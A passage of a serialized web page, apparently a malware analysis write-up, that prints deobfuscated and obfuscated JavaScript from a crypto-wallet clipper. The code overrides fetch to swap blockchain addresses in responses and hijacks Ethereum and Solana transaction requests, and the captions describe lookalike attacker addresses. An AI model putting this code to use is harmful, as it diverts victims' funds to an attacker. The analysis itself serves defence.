}\n}\n",[98404],{"type":25,"tag":115,"props":98405,"children":98406},{"__ignoreMap":7},[98407,98427,98439,98483,98500,98507,98543,98555,98583,98603,98623,98635,98642,98677,98697,98709,98716,98723],{"type":25,"tag":201,"props":98408,"children":98409},{"class":203,"line":204},[98410,98414,98418,98423],{"type":25,"tag":201,"props":98411,"children":98412},{"style":208},[98413],{"type":31,"value":37215},{"type":25,"tag":201,"props":98415,"children":98416},{"style":208},[98417],{"type":31,"value":39284},{"type":25,"tag":201,"props":98419,"children":98420},{"style":214},[98421],{"type":31,"value":98422}," checkethereumw",{"type":25,"tag":201,"props":98424,"children":98425},{"style":220},[98426],{"type":31,"value":223},{"type":25,"tag":201,"props":98428,"children":98429},{"class":203,"line":226},[98430,98435],{"type":25,"tag":201,"props":98431,"children":98432},{"style":230},[98433],{"type":31,"value":98434},"  try",{"type":25,"tag":201,"props":98436,"children":98437},{"style":220},[98438],{"type":31,"value":327},{"type":25,"tag":201,"props":98440,"children":98441},{"class":203,"line":278},[98442,98446,98451,98455,98459,98463,98467,98471,98475,98479],{"type":25,"tag":201,"props":98443,"children":98444},{"style":208},[98445],{"type":31,"value":52746},{"type":25,"tag":201,"props":98447,"children":98448},{"style":246},[98449],{"type":31,"value":98450}," _0x124ed3",{"type":25,"tag":201,"props":98452,"children":98453},{"style":261},[98454],{"type":31,"value":413},{"type":25,"tag":201,"props":98456,"children":98457},{"style":230},[98458],{"type":31,"value":37281},{"type":25,"tag":201,"props":98460,"children":98461},{"style":246},[98462],{"type":31,"value":249},{"type":25,"tag":201,"props":98464,"children":98465},{"style":220},[98466],{"type":31,"value":80},{"type":25,"tag":201,"props":98468,"children":98469},{"style":246},[98470],{"type":31,"value":258},{"type":25,"tag":201,"props":98472,"children":98473},{"style":220},[98474],{"type":31,"value":80},{"type":25,"tag":201,"props":98476,"children":98477},{"style":214},[98478],{"type":31,"value":345},{"type":25,"tag":201,"props":98480,"children":98481},{"style":220},[98482],{"type":31,"value":4238},{"type":25,"tag":201,"props":98484,"children":98485},{"class":203,"line":311},[98486,98491,98495],{"type":25,"tag":201,"props":98487,"children":98488},{"style":267},[98489],{"type":31,"value":98490},"      'method'",{"type":25,"tag":201,"props":98492,"children":98493},{"style":246},[98494],{"type":31,"value":5997},{"type":25,"tag":201,"props":98496,"children":98497},{"style":267},[98498],{"type":31,"value":98499}," \"eth_accounts\"\n",{"type":25,"tag":201,"props":98501,"children":98502},{"class":203,"line":330},[98503],{"type":25,"tag":201,"props":98504,"children":98505},{"style":220},[98506],{"type":31,"value":1169},{"type":25,"tag":201,"props":98508,"children":98509},{"class":203,"line":397},[98510,98514,98518,98523,98527,98531,98535,98539],{"type":25,"tag":201,"props":98511,"children":98512},{"style":230},[98513],{"type":31,"value":13781},{"type":25,"tag":201,"props":98515,"children":98516},{"style":220},[98517],{"type":31,"value":238},{"type":25,"tag":201,"props":98519,"children":98520},{"style":246},[98521],{"type":31,"value":98522},"_0x124ed3",{"type":25,"tag":201,"props":98524,"children":98525},{"style":220},[98526],{"type":31,"value":80},{"type":25,"tag":201,"props":98528,"children":98529},{"style":246},[98530],{"type":31,"value":10011},{"type":25,"tag":201,"props":98532,"children":98533},{"style":261},[98534],{"type":31,"value":15696},{"type":25,"tag":201,"props":98536,"children":98537},{"style":426},[98538],{"type":31,"value":4554},{"type":25,"tag":201,"props":98540,"children":98541},{"style":220},[98542],{"type":31,"value":275},{"type":25,"tag":201,"props":98544,"children":98545},{"class":203,"line":437},[98546,98551],{"type":25,"tag":201,"props":98547,"children":98548},{"style":214},[98549],{"type":31,"value":98550},"      runmask",{"type":25,"tag":201,"props":98552,"children":98553},{"style":220},[98554],{"type":31,"value":1985},{"type":25,"tag":201,"props":98556,"children":98557},{"class":203,"line":464},[98558,98562,98566,98571,98575,98579],{"type":25,"tag":201,"props":98559,"children":98560},{"style":230},[98561],{"type":31,"value":40357},{"type":25,"tag":201,"props":98563,"children":98564},{"style":220},[98565],{"type":31,"value":238},{"type":25,"tag":201,"props":98567,"children":98568},{"style":246},[98569],{"type":31,"value":98570},"rund",{"type":25,"tag":201,"props":98572,"children":98573},{"style":261},[98574],{"type":31,"value":65467},{"type":25,"tag":201,"props":98576,"children":98577},{"style":426},[98578],{"type":31,"value":6029},{"type":25,"tag":201,"props":98580,"children":98581},{"style":220},[98582],{"type":31,"value":275},{"type":25,"tag":201,"props":98584,"children":98585},{"class":203,"line":490},[98586,98591,98595,98599],{"type":25,"tag":201,"props":98587,"children":98588},{"style":246},[98589],{"type":31,"value":98590},"        rund",{"type":25,"tag":201,"props":98592,"children":98593},{"style":261},[98594],{"type":31,"value":413},{"type":25,"tag":201,"props":98596,"children":98597},{"style":426},[98598],{"type":31,"value":6029},{"type":25,"tag":201,"props":98600,"children":98601},{"style":220},[98602],{"type":31,"value":461},{"type":25,"tag":201,"props":98604,"children":98605},{"class":203,"line":499},[98606,98611,98615,98619],{"type":25,"tag":201,"props":98607,"children":98608},{"style":246},[98609],{"type":31,"value":98610},"        neth",{"type":25,"tag":201,"props":98612,"children":98613},{"style":261},[98614],{"type":31,"value":413},{"type":25,"tag":201,"props":98616,"children":98617},{"style":426},[98618],{"type":31,"value":6029},{"type":25,"tag":201,"props":98620,"children":98621},{"style":220},[98622],{"type":31,"value":461},{"type":25,"tag":201,"props":98624,"children":98625},{"class":203,"line":522},[98626,98631],{"type":25,"tag":201,"props":98627,"children":98628},{"style":214},[98629],{"type":31,"value":98630},"        newdlocal",{"type":25,"tag":201,"props":98632,"children":98633},{"style":220},[98634],{"type":31,"value":1985},{"type":25,"tag":201,"props":98636,"children":98637},{"class":203,"line":531},[98638],{"type":25,"tag":201,"props":98639,"children":98640},{"style":220},[98641],{"type":31,"value":14166},{"type":25,"tag":201,"props":98643,"children":98644},{"class":203,"line":550},[98645,98649,98653,98657,98661,98665,98669,98673],{"type":25,"tag":201,"props":98646,"children":98647},{"style":220},[98648],{"type":31,"value":17274},{"type":25,"tag":201,"props":98650,"children":98651},{"style":230},[98652],{"type":31,"value":322},{"type":25,"tag":201,"props":98654,"children":98655},{"style":230},[98656],{"type":31,"value":17283},{"type":25,"tag":201,"props":98658,"children":98659},{"style":220},[98660],{"type":31,"value":238},{"type":25,"tag":201,"props":98662,"children":98663},{"style":246},[98664],{"type":31,"value":98570},{"type":25,"tag":201,"props":98666,"children":98667},{"style":261},[98668],{"type":31,"value":65467},{"type":25,"tag":201,"props":98670,"children":98671},{"style":426},[98672],{"type":31,"value":6029},{"type":25,"tag":201,"props":98674,"children":98675},{"style":220},[98676],{"type":31,"value":275},{"type":25,"tag":201,"props":98678,"children":98679},{"class":203,"line":563},[98680,98685,98689,98693],{"type":25,"tag":201,"props":98681,"children":98682},{"style":246},[98683],{"type":31,"value":98684},"      rund",{"type":25,"tag":201,"props":98686,"children":98687},{"style":261},[98688],{"type":31,"value":413},{"type":25,"tag":201,"props":98690,"children":98691},{"style":426},[98692],{"type":31,"value":6029},{"type":25,"tag":201,"props":98694,"children":98695},{"style":220},[98696],{"type":31,"value":461},{"type":25,"tag":201,"props":98698,"children":98699},{"class":203,"line":572},[98700,98705],{"type":25,"tag":201,"props":98701,"children":98702},{"style":214},[98703],{"type":31,"value":98704},"      newdlocal",{"type":25,"tag":201,"props":98706,"children":98707},{"style":220},[98708],{"type":31,"value":1985},{"type":25,"tag":201,"props":98710,"children":98711},{"class":203,"line":590},[98712],{"type":25,"tag":201,"props":98713,"children":98714},{"style":220},[98715],{"type":31,"value":4861},{"type":25,"tag":201,"props":98717,"children":98718},{"class":203,"line":608},[98719],{"type":25,"tag":201,"props":98720,"children":98721},{"style":220},[98722],{"type":31,"value":1178},{"type":25,"tag":201,"props":98724,"children":98725},{"class":203,"line":617},[98726],{"type":25,"tag":201,"props":98727,"children":98728},{"style":220},[98729],{"type":31,"value":1187},{"type":25,"tag":6944,"props":98731,"children":98732},{"start":226},[98733],{"type":25,"tag":6948,"props":98734,"children":98735},{},[98736],{"type":31,"value":98737},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":25,"tag":191,"props":98739,"children":98741},{"code":98740,"language":195,"meta":7,"className":193,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[98742],{"type":25,"tag":115,"props":98743,"children":98744},{"__ignoreMap":7},[98745,98780,98837,98899,98914,98951,98990,99005,99044,99051,99084,99100,99159,99197,99222,99247,99271,99279,99294],{"type":25,"tag":201,"props":98746,"children":98747},{"class":203,"line":204},[98748,98752,98756,98760,98764,98768,98772,98776],{"type":25,"tag":201,"props":98749,"children":98750},{"style":214},[98751],{"type":31,"value":3031},{"type":25,"tag":201,"props":98753,"children":98754},{"style":261},[98755],{"type":31,"value":413},{"type":25,"tag":201,"props":98757,"children":98758},{"style":208},[98759],{"type":31,"value":37435},{"type":25,"tag":201,"props":98761,"children":98762},{"style":208},[98763],{"type":31,"value":39284},{"type":25,"tag":201,"props":98765,"children":98766},{"style":220},[98767],{"type":31,"value":238},{"type":25,"tag":201,"props":98769,"children":98770},{"style":261},[98771],{"type":31,"value":11095},{"type":25,"tag":201,"props":98773,"children":98774},{"style":246},[98775],{"type":31,"value":39298},{"type":25,"tag":201,"props":98777,"children":98778},{"style":220},[98779],{"type":31,"value":275},{"type":25,"tag":201,"props":98781,"children":98782},{"class":203,"line":226},[98783,98787,98792,98796,98800,98805,98809,98813,98817,98821,98825,98829,98833],{"type":25,"tag":201,"props":98784,"children":98785},{"style":208},[98786],{"type":31,"value":37258},{"type":25,"tag":201,"props":98788,"children":98789},{"style":246},[98790],{"type":31,"value":98791}," originalResponse",{"type":25,"tag":201,"props":98793,"children":98794},{"style":261},[98795],{"type":31,"value":413},{"type":25,"tag":201,"props":98797,"children":98798},{"style":230},[98799],{"type":31,"value":37281},{"type":25,"tag":201,"props":98801,"children":98802},{"style":246},[98803],{"type":31,"value":98804}," originalFetch",{"type":25,"tag":201,"props":98806,"children":98807},{"style":220},[98808],{"type":31,"value":80},{"type":25,"tag":201,"props":98810,"children":98811},{"style":214},[98812],{"type":31,"value":39366},{"type":25,"tag":201,"props":98814,"children":98815},{"style":220},[98816],{"type":31,"value":298},{"type":25,"tag":201,"props":98818,"children":98819},{"style":208},[98820],{"type":31,"value":19190},{"type":25,"tag":201,"props":98822,"children":98823},{"style":220},[98824],{"type":31,"value":919},{"type":25,"tag":201,"props":98826,"children":98827},{"style":261},[98828],{"type":31,"value":11095},{"type":25,"tag":201,"props":98830,"children":98831},{"style":246},[98832],{"type":31,"value":39298},{"type":25,"tag":201,"props":98834,"children":98835},{"style":220},[98836],{"type":31,"value":308},{"type":25,"tag":201,"props":98838,"children":98839},{"class":203,"line":278},[98840,98844,98849,98853,98857,98861,98866,98870,98874,98878,98883,98887,98891,98895],{"type":25,"tag":201,"props":98841,"children":98842},{"style":208},[98843],{"type":31,"value":37258},{"type":25,"tag":201,"props":98845,"children":98846},{"style":246},[98847],{"type":31,"value":98848}," contentType",{"type":25,"tag":201,"props":98850,"children":98851},{"style":261},[98852],{"type":31,"value":413},{"type":25,"tag":201,"props":98854,"children":98855},{"style":246},[98856],{"type":31,"value":98791},{"type":25,"tag":201,"props":98858,"children":98859},{"style":220},[98860],{"type":31,"value":80},{"type":25,"tag":201,"props":98862,"children":98863},{"style":246},[98864],{"type":31,"value":98865},"headers",{"type":25,"tag":201,"props":98867,"children":98868},{"style":220},[98869],{"type":31,"value":80},{"type":25,"tag":201,"props":98871,"children":98872},{"style":214},[98873],{"type":31,"value":17847},{"type":25,"tag":201,"props":98875,"children":98876},{"style":220},[98877],{"type":31,"value":298},{"type":25,"tag":201,"props":98879,"children":98880},{"style":267},[98881],{"type":31,"value":98882},"'Content-Type'",{"type":25,"tag":201,"props":98884,"children":98885},{"style":220},[98886],{"type":31,"value":385},{"type":25,"tag":201,"props":98888,"children":98889},{"style":261},[98890],{"type":31,"value":23914},{"type":25,"tag":201,"props":98892,"children":98893},{"style":267},[98894],{"type":31,"value":725},{"type":25,"tag":201,"props":98896,"children":98897},{"style":220},[98898],{"type":31,"value":461},{"type":25,"tag":201,"props":98900,"children":98901},{"class":203,"line":311},[98902,98906,98910],{"type":25,"tag":201,"props":98903,"children":98904},{"style":208},[98905],{"type":31,"value":9364},{"type":25,"tag":201,"props":98907,"children":98908},{"style":246},[98909],{"type":31,"value":16603},{"type":25,"tag":201,"props":98911,"children":98912},{"style":220},[98913],{"type":31,"value":461},{"type":25,"tag":201,"props":98915,"children":98916},{"class":203,"line":330},[98917,98921,98925,98930,98934,98938,98942,98947],{"type":25,"tag":201,"props":98918,"children":98919},{"style":230},[98920],{"type":31,"value":233},{"type":25,"tag":201,"props":98922,"children":98923},{"style":220},[98924],{"type":31,"value":238},{"type":25,"tag":201,"props":98926,"children":98927},{"style":246},[98928],{"type":31,"value":98929},"contentType",{"type":25,"tag":201,"props":98931,"children":98932},{"style":220},[98933],{"type":31,"value":80},{"type":25,"tag":201,"props":98935,"children":98936},{"style":214},[98937],{"type":31,"value":4128},{"type":25,"tag":201,"props":98939,"children":98940},{"style":220},[98941],{"type":31,"value":298},{"type":25,"tag":201,"props":98943,"children":98944},{"style":267},[98945],{"type":31,"value":98946},"'application/json'",{"type":25,"tag":201,"props":98948,"children":98949},{"style":220},[98950],{"type":31,"value":4141},{"type":25,"tag":201,"props":98952,"children":98953},{"class":203,"line":397},[98954,98958,98962,98966,98970,98974,98978,98982,98986],{"type":25,"tag":201,"props":98955,"children":98956},{"style":246},[98957],{"type":31,"value":44304},{"type":25,"tag":201,"props":98959,"children":98960},{"style":261},[98961],{"type":31,"value":413},{"type":25,"tag":201,"props":98963,"children":98964},{"style":230},[98965],{"type":31,"value":37281},{"type":25,"tag":201,"props":98967,"children":98968},{"style":246},[98969],{"type":31,"value":98791},{"type":25,"tag":201,"props":98971,"children":98972},{"style":220},[98973],{"type":31,"value":80},{"type":25,"tag":201,"props":98975,"children":98976},{"style":214},[98977],{"type":31,"value":16916},{"type":25,"tag":201,"props":98979,"children":98980},{"style":220},[98981],{"type":31,"value":31652},{"type":25,"tag":201,"props":98983,"children":98984},{"style":214},[98985],{"type":31,"value":2933},{"type":25,"tag":201,"props":98987,"children":98988},{"style":220},[98989],{"type":31,"value":1985},{"type":25,"tag":201,"props":98991,"children":98992},{"class":203,"line":437},[98993,98997,99001],{"type":25,"tag":201,"props":98994,"children":98995},{"style":220},[98996],{"type":31,"value":317},{"type":25,"tag":201,"props":98998,"children":98999},{"style":230},[99000],{"type":31,"value":322},{"type":25,"tag":201,"props":99002,"children":99003},{"style":220},[99004],{"type":31,"value":327},{"type":25,"tag":201,"props":99006,"children":99007},{"class":203,"line":464},[99008,99012,99016,99020,99024,99028,99032,99036,99040],{"type":25,"tag":201,"props":99009,"children":99010},{"style":246},[99011],{"type":31,"value":44304},{"type":25,"tag":201,"props":99013,"children":99014},{"style":261},[99015],{"type":31,"value":413},{"type":25,"tag":201,"props":99017,"children":99018},{"style":230},[99019],{"type":31,"value":37281},{"type":25,"tag":201,"props":99021,"children":99022},{"style":246},[99023],{"type":31,"value":98791},{"type":25,"tag":201,"props":99025,"children":99026},{"style":220},[99027],{"type":31,"value":80},{"type":25,"tag":201,"props":99029,"children":99030},{"style":214},[99031],{"type":31,"value":16916},{"type":25,"tag":201,"props":99033,"children":99034},{"style":220},[99035],{"type":31,"value":31652},{"type":25,"tag":201,"props":99037,"children":99038},{"style":214},[99039],{"type":31,"value":31},{"type":25,"tag":201,"props":99041,"children":99042},{"style":220},[99043],{"type":31,"value":1985},{"type":25,"tag":201,"props":99045,"children":99046},{"class":203,"line":490},[99047],{"type":25,"tag":201,"props":99048,"children":99049},{"style":220},[99050],{"type":31,"value":1178},{"type":25,"tag":201,"props":99052,"children":99053},{"class":203,"line":499},[99054,99058,99063,99067,99072,99076,99080],{"type":25,"tag":201,"props":99055,"children":99056},{"style":208},[99057],{"type":31,"value":37258},{"type":25,"tag":201,"props":99059,"children":99060},{"style":246},[99061],{"type":31,"value":99062}," processedData",{"type":25,"tag":201,"props":99064,"children":99065},{"style":261},[99066],{"type":31,"value":413},{"type":25,"tag":201,"props":99068,"children":99069},{"style":214},[99070],{"type":31,"value":99071}," replaceAddresses",{"type":25,"tag":201,"props":99073,"children":99074},{"style":220},[99075],{"type":31,"value":298},{"type":25,"tag":201,"props":99077,"children":99078},{"style":246},[99079],{"type":31,"value":5206},{"type":25,"tag":201,"props":99081,"children":99082},{"style":220},[99083],{"type":31,"value":308},{"type":25,"tag":201,"props":99085,"children":99086},{"class":203,"line":522},[99087,99091,99096],{"type":25,"tag":201,"props":99088,"children":99089},{"style":208},[99090],{"type":31,"value":37258},{"type":25,"tag":201,"props":99092,"children":99093},{"style":246},[99094],{"type":31,"value":99095}," finalResponseText",{"type":25,"tag":201,"props":99097,"children":99098},{"style":261},[99099],{"type":31,"value":36925},{"type":25,"tag":201,"props":99101,"children":99102},{"class":203,"line":531},[99103,99108,99112,99116,99121,99126,99130,99134,99138,99142,99146,99150,99155],{"type":25,"tag":201,"props":99104,"children":99105},{"style":208},[99106],{"type":31,"value":99107},"    typeof",{"type":25,"tag":201,"props":99109,"children":99110},{"style":246},[99111],{"type":31,"value":99062},{"type":25,"tag":201,"props":99113,"children":99114},{"style":261},[99115],{"type":31,"value":264},{"type":25,"tag":201,"props":99117,"children":99118},{"style":267},[99119],{"type":31,"value":99120}," 'string'",{"type":25,"tag":201,"props":99122,"children":99123},{"style":261},[99124],{"type":31,"value":99125}," ?",{"type":25,"tag":201,"props":99127,"children":99128},{"style":246},[99129],{"type":31,"value":99062},{"type":25,"tag":201,"props":99131,"children":99132},{"style":261},[99133],{"type":31,"value":4059},{"type":25,"tag":201,"props":99135,"children":99136},{"style":246},[99137],{"type":31,"value":38598},{"type":25,"tag":201,"props":99139,"children":99140},{"style":220},[99141],{"type":31,"value":80},{"type":25,"tag":201,"props":99143,"children":99144},{"style":214},[99145],{"type":31,"value":40303},{"type":25,"tag":201,"props":99147,"children":99148},{"style":220},[99149],{"type":31,"value":298},{"type":25,"tag":201,"props":99151,"children":99152},{"style":246},[99153],{"type":31,"value":99154},"processedData",{"type":25,"tag":201,"props":99156,"children":99157},{"style":220},[99158],{"type":31,"value":308},{"type":25,"tag":201,"props":99160,"children":99161},{"class":203,"line":550},[99162,99166,99171,99175,99179,99184,99188,99193],{"type":25,"tag":201,"props":99163,"children":99164},{"style":208},[99165],{"type":31,"value":37258},{"type":25,"tag":201,"props":99167,"children":99168},{"style":246},[99169],{"type":31,"value":99170}," finalResponse",{"type":25,"tag":201,"props":99172,"children":99173},{"style":261},[99174],{"type":31,"value":413},{"type":25,"tag":201,"props":99176,"children":99177},{"style":208},[99178],{"type":31,"value":828},{"type":25,"tag":201,"props":99180,"children":99181},{"style":214},[99182],{"type":31,"value":99183}," Response",{"type":25,"tag":201,"props":99185,"children":99186},{"style":220},[99187],{"type":31,"value":298},{"type":25,"tag":201,"props":99189,"children":99190},{"style":246},[99191],{"type":31,"value":99192},"finalResponseText",{"type":25,"tag":201,"props":99194,"children":99195},{"style":220},[99196],{"type":31,"value":49959},{"type":25,"tag":201,"props":99198,"children":99199},{"class":203,"line":563},[99200,99205,99209,99213,99218],{"type":25,"tag":201,"props":99201,"children":99202},{"style":246},[99203],{"type":31,"value":99204},"    status:",{"type":25,"tag":201,"props":99206,"children":99207},{"style":246},[99208],{"type":31,"value":98791},{"type":25,"tag":201,"props":99210,"children":99211},{"style":220},[99212],{"type":31,"value":80},{"type":25,"tag":201,"props":99214,"children":99215},{"style":246},[99216],{"type":31,"value":99217},"status",{"type":25,"tag":201,"props":99219,"children":99220},{"style":220},[99221],{"type":31,"value":547},{"type":25,"tag":201,"props":99223,"children":99224},{"class":203,"line":572},[99225,99230,99234,99238,99243],{"type":25,"tag":201,"props":99226,"children":99227},{"style":246},[99228],{"type":31,"value":99229},"    statusText:",{"type":25,"tag":201,"props":99231,"children":99232},{"style":246},[99233],{"type":31,"value":98791},{"type":25,"tag":201,"props":99235,"children":99236},{"style":220},[99237],{"type":31,"value":80},{"type":25,"tag":201,"props":99239,"children":99240},{"style":246},[99241],{"type":31,"value":99242},"statusText",{"type":25,"tag":201,"props":99244,"children":99245},{"style":220},[99246],{"type":31,"value":547},{"type":25,"tag":201,"props":99248,"children":99249},{"class":203,"line":590},[99250,99255,99259,99263,99267],{"type":25,"tag":201,"props":99251,"children":99252},{"style":246},[99253],{"type":31,"value":99254},"    headers:",{"type":25,"tag":201,"props":99256,"children":99257},{"style":246},[99258],{"type":31,"value":98791},{"type":25,"tag":201,"props":99260,"children":99261},{"style":220},[99262],{"type":31,"value":80},{"type":25,"tag":201,"props":99264,"children":99265},{"style":246},[99266],{"type":31,"value":98865},{"type":25,"tag":201,"props":99268,"children":99269},{"style":220},[99270],{"type":31,"value":547},{"type":25,"tag":201,"props":99272,"children":99273},{"class":203,"line":608},[99274],{"type":25,"tag":201,"props":99275,"children":99276},{"style":220},[99277],{"type":31,"value":99278},"  });\n",{"type":25,"tag":201,"props":99280,"children":99281},{"class":203,"line":617},[99282,99286,99290],{"type":25,"tag":201,"props":99283,"children":99284},{"style":230},[99285],{"type":31,"value":40269},{"type":25,"tag":201,"props":99287,"children":99288},{"style":246},[99289],{"type":31,"value":99170},{"type":25,"tag":201,"props":99291,"children":99292},{"style":220},[99293],{"type":31,"value":461},{"type":25,"tag":201,"props":99295,"children":99296},{"class":203,"line":625},[99297],{"type":25,"tag":201,"props":99298,"children":99299},{"style":220},[99300],{"type":31,"value":18073},{"type":25,"tag":6944,"props":99302,"children":99303},{"start":278},[99304],{"type":25,"tag":6948,"props":99305,"children":99306},{},[99307],{"type":31,"value":99308},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":25,"tag":191,"props":99310,"children":99312},{"code":99311,"language":195,"meta":7,"className":193,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[99313],{"type":25,"tag":115,"props":99314,"children":99315},{"__ignoreMap":7},[99316,99395,99406,99463,99503,99528,99543,99554,99588,99621,99640,99667,99675,99686,99726,99755,99783,99790,99830,99873,99917,99932,99971,99978,100002,100009],{"type":25,"tag":201,"props":99317,"children":99318},{"class":203,"line":204},[99319,99323,99327,99332,99336,99340,99344,99349,99353,99358,99362,99367,99371,99375,99379,99383,99387,99391],{"type":25,"tag":201,"props":99320,"children":99321},{"style":230},[99322],{"type":31,"value":4105},{"type":25,"tag":201,"props":99324,"children":99325},{"style":220},[99326],{"type":31,"value":238},{"type":25,"tag":201,"props":99328,"children":99329},{"style":246},[99330],{"type":31,"value":99331},"_0x2c3d7e",{"type":25,"tag":201,"props":99333,"children":99334},{"style":220},[99335],{"type":31,"value":80},{"type":25,"tag":201,"props":99337,"children":99338},{"style":246},[99339],{"type":31,"value":39383},{"type":25,"tag":201,"props":99341,"children":99342},{"style":261},[99343],{"type":31,"value":264},{"type":25,"tag":201,"props":99345,"children":99346},{"style":267},[99347],{"type":31,"value":99348}," 'eth_sendTransaction'",{"type":25,"tag":201,"props":99350,"children":99351},{"style":261},[99352],{"type":31,"value":15687},{"type":25,"tag":201,"props":99354,"children":99355},{"style":246},[99356],{"type":31,"value":99357}," _0x2c3d7e",{"type":25,"tag":201,"props":99359,"children":99360},{"style":220},[99361],{"type":31,"value":80},{"type":25,"tag":201,"props":99363,"children":99364},{"style":246},[99365],{"type":31,"value":99366},"params",{"type":25,"tag":201,"props":99368,"children":99369},{"style":261},[99370],{"type":31,"value":15687},{"type":25,"tag":201,"props":99372,"children":99373},{"style":246},[99374],{"type":31,"value":99357},{"type":25,"tag":201,"props":99376,"children":99377},{"style":220},[99378],{"type":31,"value":80},{"type":25,"tag":201,"props":99380,"children":99381},{"style":246},[99382],{"type":31,"value":99366},{"type":25,"tag":201,"props":99384,"children":99385},{"style":220},[99386],{"type":31,"value":423},{"type":25,"tag":201,"props":99388,"children":99389},{"style":426},[99390],{"type":31,"value":429},{"type":25,"tag":201,"props":99392,"children":99393},{"style":220},[99394],{"type":31,"value":41695},{"type":25,"tag":201,"props":99396,"children":99397},{"class":203,"line":226},[99398,99402],{"type":25,"tag":201,"props":99399,"children":99400},{"style":230},[99401],{"type":31,"value":98434},{"type":25,"tag":201,"props":99403,"children":99404},{"style":220},[99405],{"type":31,"value":327},{"type":25,"tag":201,"props":99407,"children":99408},{"class":203,"line":278},[99409,99413,99418,99422,99427,99431,99435,99439,99443,99447,99451,99455,99459],{"type":25,"tag":201,"props":99410,"children":99411},{"style":208},[99412],{"type":31,"value":52746},{"type":25,"tag":201,"props":99414,"children":99415},{"style":246},[99416],{"type":31,"value":99417}," _0x39ad21",{"type":25,"tag":201,"props":99419,"children":99420},{"style":261},[99421],{"type":31,"value":413},{"type":25,"tag":201,"props":99423,"children":99424},{"style":214},[99425],{"type":31,"value":99426}," _0x1089ae",{"type":25,"tag":201,"props":99428,"children":99429},{"style":220},[99430],{"type":31,"value":298},{"type":25,"tag":201,"props":99432,"children":99433},{"style":246},[99434],{"type":31,"value":99331},{"type":25,"tag":201,"props":99436,"children":99437},{"style":220},[99438],{"type":31,"value":80},{"type":25,"tag":201,"props":99440,"children":99441},{"style":246},[99442],{"type":31,"value":99366},{"type":25,"tag":201,"props":99444,"children":99445},{"style":220},[99446],{"type":31,"value":423},{"type":25,"tag":201,"props":99448,"children":99449},{"style":426},[99450],{"type":31,"value":429},{"type":25,"tag":201,"props":99452,"children":99453},{"style":220},[99454],{"type":31,"value":1930},{"type":25,"tag":201,"props":99456,"children":99457},{"style":208},[99458],{"type":31,"value":5497},{"type":25,"tag":201,"props":99460,"children":99461},{"style":220},[99462],{"type":31,"value":308},{"type":25,"tag":201,"props":99464,"children":99465},{"class":203,"line":311},[99466,99471,99475,99479,99483,99487,99491,99495,99499],{"type":25,"tag":201,"props":99467,"children":99468},{"style":246},[99469],{"type":31,"value":99470},"    _0x2c3d7e",{"type":25,"tag":201,"props":99472,"children":99473},{"style":220},[99474],{"type":31,"value":80},{"type":25,"tag":201,"props":99476,"children":99477},{"style":246},[99478],{"type":31,"value":99366},{"type":25,"tag":201,"props":99480,"children":99481},{"style":220},[99482],{"type":31,"value":423},{"type":25,"tag":201,"props":99484,"children":99485},{"style":426},[99486],{"type":31,"value":429},{"type":25,"tag":201,"props":99488,"children":99489},{"style":220},[99490],{"type":31,"value":10169},{"type":25,"tag":201,"props":99492,"children":99493},{"style":261},[99494],{"type":31,"value":1383},{"type":25,"tag":201,"props":99496,"children":99497},{"style":246},[99498],{"type":31,"value":99417},{"type":25,"tag":201,"props":99500,"children":99501},{"style":220},[99502],{"type":31,"value":461},{"type":25,"tag":201,"props":99504,"children":99505},{"class":203,"line":330},[99506,99510,99514,99518,99523],{"type":25,"tag":201,"props":99507,"children":99508},{"style":220},[99509],{"type":31,"value":317},{"type":25,"tag":201,"props":99511,"children":99512},{"style":230},[99513],{"type":31,"value":49488},{"type":25,"tag":201,"props":99515,"children":99516},{"style":220},[99517],{"type":31,"value":238},{"type":25,"tag":201,"props":99519,"children":99520},{"style":246},[99521],{"type":31,"value":99522},"_0x226343",{"type":25,"tag":201,"props":99524,"children":99525},{"style":220},[99526],{"type":31,"value":99527},") {}\n",{"type":25,"tag":201,"props":99529,"children":99530},{"class":203,"line":397},[99531,99535,99539],{"type":25,"tag":201,"props":99532,"children":99533},{"style":220},[99534],{"type":31,"value":47950},{"type":25,"tag":201,"props":99536,"children":99537},{"style":230},[99538],{"type":31,"value":322},{"type":25,"tag":201,"props":99540,"children":99541},{"style":220},[99542],{"type":31,"value":327},{"type":25,"tag":201,"props":99544,"children":99545},{"class":203,"line":437},[99546,99550],{"type":25,"tag":201,"props":99547,"children":99548},{"style":230},[99549],{"type":31,"value":233},{"type":25,"tag":201,"props":99551,"children":99552},{"style":220},[99553],{"type":31,"value":79650},{"type":25,"tag":201,"props":99555,"children":99556},{"class":203,"line":464},[99557,99562,99566,99570,99574,99578,99583],{"type":25,"tag":201,"props":99558,"children":99559},{"style":220},[99560],{"type":31,"value":99561},"    